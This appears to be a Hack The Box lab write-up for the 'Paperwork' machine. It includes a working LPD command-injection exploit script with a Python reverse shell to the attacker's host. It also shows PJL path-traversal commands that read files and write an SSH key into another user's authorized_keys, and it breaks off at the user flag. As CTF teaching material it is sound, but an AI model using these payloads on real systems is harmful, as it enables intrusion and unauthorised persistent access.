Back to HTBHack The Box
Write-up

🖨️Paperwork

LPD Command InjectionPJL File SystemSSH Key write

🖨️ HTB Paperwork -- Solution Notes

Platform: Hack The Box Machine: Paperwork OS: Linux (Ubuntu 25.10) Difficulty: Easy Date: August 17, 2026


🗺️ Attack Chain

Nmap → Web recon (Intake Portal) → Source code download → LPD command injection (shell as lp) → Internal port discovery (9100 JetDirect) → PJL file system access → SSH key write (archivist) → Unix socket SCM_RIGHTS fd leak → Admin password → ROOT


🧠 How Does a Hacker Think? -- Before You Begin

This machine is built around a single theme: printer protocols. LPD (Line Printer Daemon) on port 1515, JetDirect/PJL on port 9100, and a custom archiving daemon. You don't need to know these protocols beforehand. What matters is recognizing that unfamiliar services are often poorly secured because developers assume nobody will interact with them directly.

1️⃣ Reconnaissance

Port Scanning

bash

nmap -sV -sC -O -p 22,80,1515 10.129.3.104

Findings:

3 ports. HTTP is the web front-end. SSH is for later access. Port 1515 is the interesting one: it returns a printer-related banner. That's not a standard port for printing (515 is), so it's likely a custom implementation. Custom implementations often have bugs.

🧠 How Does a Hacker Think? -- Unfamiliar Protocols

When you encounter a service you've never seen before, don't panic. Follow this order:

2️⃣ Web Application Discovery

After adding paperwork.htb to /etc/hosts, the web page shows an "Intake Portal" with:

Downloading the archive from /download/archive gives a zip containing server.py.

bash

curl -s http://paperwork.htb/download/archive -o archive.zip
unzip archive.zip
cat server.py

3️⃣ Source Code Analysis -- Finding the Vulnerability

What is LPD (Line Printer Daemon)?

The critical section of server.py:

python

for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]
        break

subprocess.Popen(f"echo 'Archive:{job_name}' >> /tmp/archive.log", shell=True)

The vulnerability: job_name is extracted from the control file's J line with zero sanitization and passed directly into subprocess.Popen with shell=True. This is textbook command injection.

The resulting shell command is:

echo 'Archive: JOB_NAME' >> /tmp/archive.log

If we set J to '; MALICIOUS_COMMAND #, it becomes:

echo 'Archive: '; MALICIOUS_COMMAND #' >> /tmp/archive.log

The single quote closes the echo string, our command runs, and # comments out the rest.


🧠 How Does a Hacker Think? -- Command Injection

Whenever you see user input going into a system command, check two things:

4️⃣ Exploitation -- LPD Command Injection

Building the Exploit

The exploit script speaks the LPD protocol:

  1. Send \x02archive_intake\n to request a print job on the valid queue
  2. Send a control file header with the file size
  3. Send the control file containing the poisoned J line

python

import socket
import time

TARGET = "10.129.3.104"
PORT   = 1515
LHOST  = "YOUR_TUN0_IP"
LPORT  = "4444"

# Python3 reverse shell (works on all shells, unlike /dev/tcp which is bash-only)
revshell = f"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\"/bin/bash\")'"

payload = f"';{revshell} #"

control = f"Hlocalhost\nProot\nJ{payload}\n"
ctrl_bytes = control.encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))

# Step 1: Print job request
s.send(b'\x02archive_intake\n')
time.sleep(1)  # Prevent TCP coalescing

# Step 2: Control file header (subcommand \x02 + size + filename)
header = b'\x02' + f"{len(ctrl_bytes)} cfA001localhost\n".encode()
s.send(header)
ack = s.recv(1)  # Should be \x00 (accepted)

# Step 3: Control file content + null terminator
s.send(ctrl_bytes + b'\x00')
ack = s.recv(1)  # Should be \x00

s.close()

Getting the Shell

bash

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py
Why did /dev/tcp fail but Python worked?

Shell as lp

lp@paperwork:/opt/LPDServer$ whoami
lp
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)

5️⃣ Internal Enumeration

After getting a shell as lp, the next step is finding a path to the archivist user (whose home directory contains user.txt).

bash

ss -tlnp

Internal services discovered:

The systemd service files revealed the key detail:

# jetdirect.service
User=archivist
ExecStart=/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/

Port 9100 runs as archivist with a working directory inside archivist's home. If we can interact with this service, we might be able to read or write files as archivist.


🧠 How Does a Hacker Think? -- Lateral Movement via Internal Services

You're lp and you need to become archivist. There's no sudo, no SUID exploit, no cron job. But there's a service running as archivist on localhost.

6️⃣ Lateral Movement -- PJL File System Access

Reading the JetDirect Source Code

bash

python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/jetdirect.py\" OFFSET=0 SIZE=8192\r\n')
time.sleep(1)
data = b''
while True:
    chunk = s.recv(4096)
    if not chunk: break
    data += chunk
    if len(chunk) < 4096: break
print(data.decode(errors='ignore'))
s.close()
"

The source code confirmed: 0: maps to /home/archivist/printer/ and path traversal with ../ is possible through os.path.normpath.

Navigating to archivist's Home Directory

bash

# List archivist's home
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSDIRLIST NAME=\"0:/../\" ENTRY=1 COUNT=65535\r\n')
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"

Output:

user.txt TYPE=FILE SIZE=33
.ssh TYPE=DIR SIZE=4096
printer TYPE=DIR SIZE=4096
...

Reading user.txt

bash

python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/../user.txt\" OFFSET=0 SIZE=1024\r\n')
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"

Writing SSH Key for Persistent Access

The .ssh/authorized_keys file was empty (SIZE=0). We can write our own public key using PJL's FSDOWNLOAD command.

bash

# On Kali: Generate a key pair
ssh-keygen -t ed25519 -f /tmp/archivist_key -N ""
cat /tmp/archivist_key.pub
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... root@kali

bash

# On target (lp shell): Write the public key
python3 -c "
import socket, time
key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... root@kali'
s = socket.socket()
s.connect(('127.0.0.1', 9100))
cmd = b'\x1b%-12345X@PJL FSDOWNLOAD NAME=\"0:/../.ssh/authorized_keys\" SIZE=' + str(len(key)).encode() + b'\n'
s.send(cmd)
time.sleep(0.5)
s.send(key)
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"
# Output: OK

SSH as archivist

bash

ssh -i /tmp/archivist_key archivist@10.129.3.104

🚩 User Flag

bash

cat ~/user.txt